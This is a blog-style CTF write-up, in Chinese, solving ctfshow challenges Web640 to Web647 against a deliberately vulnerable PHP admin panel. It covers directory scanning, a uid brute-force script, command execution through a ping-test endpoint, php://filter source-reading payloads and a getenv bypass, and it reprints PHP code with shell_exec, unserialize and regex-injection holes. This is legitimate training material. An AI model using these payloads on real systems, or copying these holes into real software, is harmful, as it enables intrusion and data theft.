ctfshow终极考核

发布时间 2023-05-24 20:00:24作者: V3g3t4ble

信息收集

这个环境就只涉及目录扫描了

[18:04:02] 200 -   43B  - /.bowerrc
[18:04:03] 200 -   34B  - /.gitignore
[18:04:04] 200 -    2KB - /.travis.yml
[18:04:24] 200 -    3KB - /page.php
[18:04:28] 200 -   19B  - /robots.txt

/robots.txt得到source.txt
访问发现是某个php文件的源码

include 'init.php';

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function initCache(){
	return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}

function clearCache(){
	shell_exec('rm -rf cache.php');
	return 'ok';
}

function flushCache(){
	if(file_exists('cache.php') && file_get_contents('cache.php')===false){
		return FLAG646;
	}else{
		return '';
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
		
	}
	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

Web640

访问就可以拿到

Web641

favicon.ico/admin/等等返回的响应头可以拿到

Web642

image
image
泄露了后台地址
image

Web643

/system36d/login.php
可以看到登录页面,抓包发现与后端没有交互,应该是在js里面
image
找到Web644的flag和一个地址,s控制登录的uid,访问之后跳转到后台首页,发现是普通用户,尝试一下能不能爆破出管理员的uid

from requests import *
from bs4 import BeautifulSoup
for i in range(0,100):
    m=get(f"http://1fac82d3-c655-46d1-bd1e-b61bdb51910e.challenge.ctf.show/system36d/checklogin.php?s={i}",allow_redirects=True)
    html=BeautifulSoup(m.text,"lxml")
    if html.find("title") is not None:
        print(i,"success")

image
两个普通用户,貌似没什么卵用,找到一个可以执行命令的点
image
执行以下find,列出所有文件

.
./secret.txt
./static
./static/layui_
./static/layui_/lay
./static/layui_/lay/modules
./static/layui_/lay/modules/form.js
./static/layui_/lay/modules/colorpicker.js
./static/layui_/lay/modules/jquery.js
./static/layui_/lay/modules/layedit.js
./static/layui_/lay/modules/transfer.js
./static/layui_/lay/modules/laytpl.js
./static/layui_/lay/modules/flow.js
./static/layui_/lay/modules/table.js
./static/layui_/lay/modules/util.js
./static/layui_/lay/modules/upload.js
./static/layui_/lay/modules/code.js
./static/layui_/lay/modules/laypage.js
./static/layui_/lay/modules/mobile.js
./static/layui_/lay/modules/element.js
./static/layui_/lay/modules/laydate.js
./static/layui_/lay/modules/tree.js
./static/layui_/lay/modules/rate.js
./static/layui_/lay/modules/layer.js
./static/layui_/lay/modules/slider.js
./static/layui_/lay/modules/carousel.js
./static/layui_/layui.js
./static/layui_/css
./static/layui_/css/layui.mobile.css
./static/layui_/css/layui.css
./static/layui_/css/modules
./static/layui_/css/modules/layer
./static/layui_/css/modules/layer/default
./static/layui_/css/modules/layer/default/layer.css
./static/layui_/css/modules/layer/default/loading-0.gif
./static/layui_/css/modules/layer/default/icon-ext.png
./static/layui_/css/modules/layer/default/loading-1.gif
./static/layui_/css/modules/layer/default/loading-2.gif
./static/layui_/css/modules/layer/default/icon.png
./static/layui_/css/modules/code.css
./static/layui_/css/modules/laydate
./static/layui_/css/modules/laydate/default
./static/layui_/css/modules/laydate/default/laydate.css
./static/layui_/font
./static/layui_/font/iconfont.svg
./static/layui_/font/iconfont.eot
./static/layui_/font/iconfont.woff
./static/layui_/font/iconfont.woff2
./static/layui_/font/iconfont.ttf
./static/layui_/layui.all.js
./static/layui_/images
./static/layui_/images/face
./static/layui_/images/face/32.gif
./static/layui_/images/face/59.gif
./static/layui_/images/face/66.gif
./static/layui_/images/face/35.gif
./static/layui_/images/face/40.gif
./static/layui_/images/face/53.gif
./static/layui_/images/face/0.gif
./static/layui_/images/face/51.gif
./static/layui_/images/face/55.gif
./static/layui_/images/face/38.gif
./static/layui_/images/face/42.gif
./static/layui_/images/face/69.gif
./static/layui_/images/face/71.gif
./static/layui_/images/face/7.gif
./static/layui_/images/face/45.gif
./static/layui_/images/face/58.gif
./static/layui_/images/face/25.gif
./static/layui_/images/face/34.gif
./static/layui_/images/face/11.gif
./static/layui_/images/face/5.gif
./static/layui_/images/face/24.gif
./static/layui_/images/face/48.gif
./static/layui_/images/face/47.gif
./static/layui_/images/face/39.gif
./static/layui_/images/face/6.gif
./static/layui_/images/face/57.gif
./static/layui_/images/face/65.gif
./static/layui_/images/face/50.gif
./static/layui_/images/face/3.gif
./static/layui_/images/face/63.gif
./static/layui_/images/face/17.gif
./static/layui_/images/face/68.gif
./static/layui_/images/face/23.gif
./static/layui_/images/face/60.gif
./static/layui_/images/face/26.gif
./static/layui_/images/face/13.gif
./static/layui_/images/face/36.gif
./static/layui_/images/face/16.gif
./static/layui_/images/face/41.gif
./static/layui_/images/face/18.gif
./static/layui_/images/face/15.gif
./static/layui_/images/face/12.gif
./static/layui_/images/face/54.gif
./static/layui_/images/face/27.gif
./static/layui_/images/face/20.gif
./static/layui_/images/face/8.gif
./static/layui_/images/face/52.gif
./static/layui_/images/face/30.gif
./static/layui_/images/face/29.gif
./static/layui_/images/face/37.gif
./static/layui_/images/face/1.gif
./static/layui_/images/face/46.gif
./static/layui_/images/face/14.gif
./static/layui_/images/face/43.gif
./static/layui_/images/face/61.gif
./static/layui_/images/face/4.gif
./static/layui_/images/face/33.gif
./static/layui_/images/face/64.gif
./static/layui_/images/face/70.gif
./static/layui_/images/face/62.gif
./static/layui_/images/face/19.gif
./static/layui_/images/face/21.gif
./static/layui_/images/face/31.gif
./static/layui_/images/face/10.gif
./static/layui_/images/face/9.gif
./static/layui_/images/face/67.gif
./static/layui_/images/face/22.gif
./static/layui_/images/face/44.gif
./static/layui_/images/face/49.gif
./static/layui_/images/face/28.gif
./static/layui_/images/face/2.gif
./static/layui_/images/face/56.gif
./static/layui
./static/layui/layui.js
./static/layui/css
./static/layui/css/layui.css
./static/layui/css/modules
./static/layui/css/modules/layer
./static/layui/css/modules/layer/default
./static/layui/css/modules/layer/default/layer.css
./static/layui/css/modules/layer/default/loading-0.gif
./static/layui/css/modules/layer/default/icon-ext.png
./static/layui/css/modules/layer/default/loading-1.gif
./static/layui/css/modules/layer/default/loading-2.gif
./static/layui/css/modules/layer/default/icon.png
./static/layui/css/modules/code.css
./static/layui/css/modules/laydate
./static/layui/css/modules/laydate/default
./static/layui/css/modules/laydate/default/laydate.css
./static/layui/font
./static/layui/font/iconfont.svg
./static/layui/font/iconfont.eot
./static/layui/font/iconfont.woff
./static/layui/font/iconfont.woff2
./static/layui/font/iconfont.ttf
./static/js
./static/js/jquery.cookie.min.js
./static/js/jquery.contextmenu.r2.js
./static/js/jquery-3.2.1.min.js
./static/js/main.js
./static/js/lock
./static/js/lock/flickity.pkgd.js
./static/js/lock/index.js
./static/js/lock/howler.js
./static/js/base64.js
./static/css
./static/css/login.css
./static/css/start.css
./static/css/style.css
./static/css/lock
./static/css/lock/flickity.css
./static/css/lock/reset.min.css
./static/css/lock/style.css
./static/img
./static/img/avatar
./static/img/avatar/avatar.jpg
./util
./util/common.php
./util/auth.php
./util/dbutil.php
./main.php
./update2.php
./login.php
./update.php
./db
./db/data_you_never_know.db
./index.php
./users.php
./init.php
./checklogin.php
./logout.php

secret.txt获得flag

Web644

system36d/static/js/lock/index.js
image

Web645

./db/data_you_never_know.db下载出来
image
拿到flag

Web646

image
看到这里基本可以想到,之前拿到的source.txt,users.php调用的就是那里面的函数
命令执行的限制比较死,应该不太容易getshell,找一下别的点
远程更新那里,可以访问url,但是不出网,猜测是file_get_contents
/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=users.php
读取到users.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-07-26 10:25:59
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'list':
		$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
		break;
	case 'add':
		$ret = addUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'del':
		$ret = delUser($data,$_GET['username']);
		break;
	case 'update':
		$ret = updateUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'backup':
		backupUsers();
		break;
	case 'upload':
		$ret = recoveryUsers();
		break;
	case 'phpInfo':
		$ret = phpInfoTest();
		break;
	case 'netTest':
		$ret = netTest($_GET['cmd']);
		break;
	case 'remoteUpdate':
		$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
		break;
	case 'authKeyValidate':
		$ret = authKeyValidate($_GET['auth']);
		break;
	case 'evilString':
		evilString($_GET['m']);
		break;
	case 'evilNumber':
		evilNumber($_GET['m'],$_GET['key']);
		break;
	case 'evilFunction':
		evilFunction($_GET['m'],$_GET['key']);
		break;
	case 'evilArray':
		evilArray($_GET['m'],$_GET['key']);
		break;
	case 'evilClass':
		evilClass($_GET['m'],$_GET['key']);
		break;
	default:
		$ret = json_encode(array(
		'code'=>0,
		'message'=>'数据获取失败',
		));
		break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
	$ret = array(
		'code'=>0,
		'message'=>'数据获取成功',
		'data'=>array()
	);

	
	$isadmin = '否';
	$pass = '';
	$content='无';

	$users = explode('|', $data);
	array_pop($users);
	$index = 1;

	foreach ($users as $u) {
		if(explode('@', $u)[0]=='admin'){
			$isadmin = '是';
			$pass = 'flag就是管理员的密码,不过我隐藏了';
			$content = '删除此条记录后flag就会消失';
		}else{
			$pass = explode('@', $u)[1];
		}
		array_push($ret['data'], array(
			'id'=>$index,
			'username'=>explode('@', $u)[0],
			'password'=>$pass,
			'isAdmin'=>$isadmin,
			'content'=>$content
		));
		$index +=1;
	}
	$ret['count']=$index;
	$start = ($page-1)*$limit;
	$ret['data']=array_slice($ret['data'], $start,$limit,true);

	return json_encode($ret);

}

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function backupUsers(){
	$file_name = DB_PATH;
	if (! file_exists ($file_name )) {    
	    header('HTTP/1.1 404 NOT FOUND');  
	} else {    
	    $file = fopen ($file_name, "rb" ); 
	    Header ( "Content-type: application/octet-stream" ); 
	    Header ( "Accept-Ranges: bytes" );  
	    Header ( "Accept-Length: " . filesize ($file_name));  
	    Header ( "Content-Disposition: attachment; filename=backup.dat");     
	    echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));    
	    fclose ( $file );    
	    exit ();    
	}
}

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }


function recoveryUsers(){
	$ret = array(
		'code'=>0,
		'message'=>'恢复成功'
	);
	if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
		$file_name= $_FILES['file']['tmp_name'];
		$result = move_uploaded_file($file_name, DB_PATH);
		if($result===false){
			$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
		}

	}else{
		$ret['message']='数据恢复失败';
	}

	return json_encode($ret);
}

function phpInfoTest(){
	return phpinfo();

}

function authKeyValidate($auth){
	$ret = array(
		'code'=>0,
		'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
		'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
	);
	return json_encode($ret);
}

function remoteUpdate($auth,$address){
	$ret = array(
		'code'=>0,
		'message'=>'更新失败'
	);

	if($auth!==substr(FLAG645, 8)){
		$ret['message']='权限key验证失败';
		return json_encode($ret);
	}else{
		$content = file_get_contents($address);
		$ret['message']=($content!==false?$content:'地址不可达');
	}

	return json_encode($ret);


}

function evilString($m){
	$key = '372619038';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE){
		echo shell_exec('cat /FLAG/FLAG647');
	}else{
		echo 'you are not 372619038?';
	}

}

function evilClass($m,$k){
	class ctfshow{
		public $m;
		public function construct($m){
			$this->$m=$m;
		}
	}

	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
		echo shell_exec('cat /FLAG/FLAG648');
	}else{
		echo 'mmmmm?';
	}

}

function evilNumber($m,$k){
	$number = getArray(1000,20,10,999);
	if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
		echo shell_exec('cat /FLAG/FLAG649');
	}else{
		echo 'number is right?';
	}
}

function evilFunction($m,$k){
	$key = 'ffffffff';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
		echo shell_exec('cat /FLAG/FLAG650');
	}else{
		echo 'you are not ffffffff?';
	}
}

function evilArray($m,$k){
	$arrays=unserialize($m);
	if($arrays!==false){
		if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
			echo shell_exec('cat /FLAG/FLAG651');
		}else{
			echo 'array?';
		}
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=init.php
读取init.php
拿到flag
image

Web647

evilString函数,利用特性null!=false,使用数组绕过,getenv函数在php7.1之后可以返回一个数组,stripos一个参数是数组时会抛出错误返回null
/system36d/users.php?action=evilString&m=getenv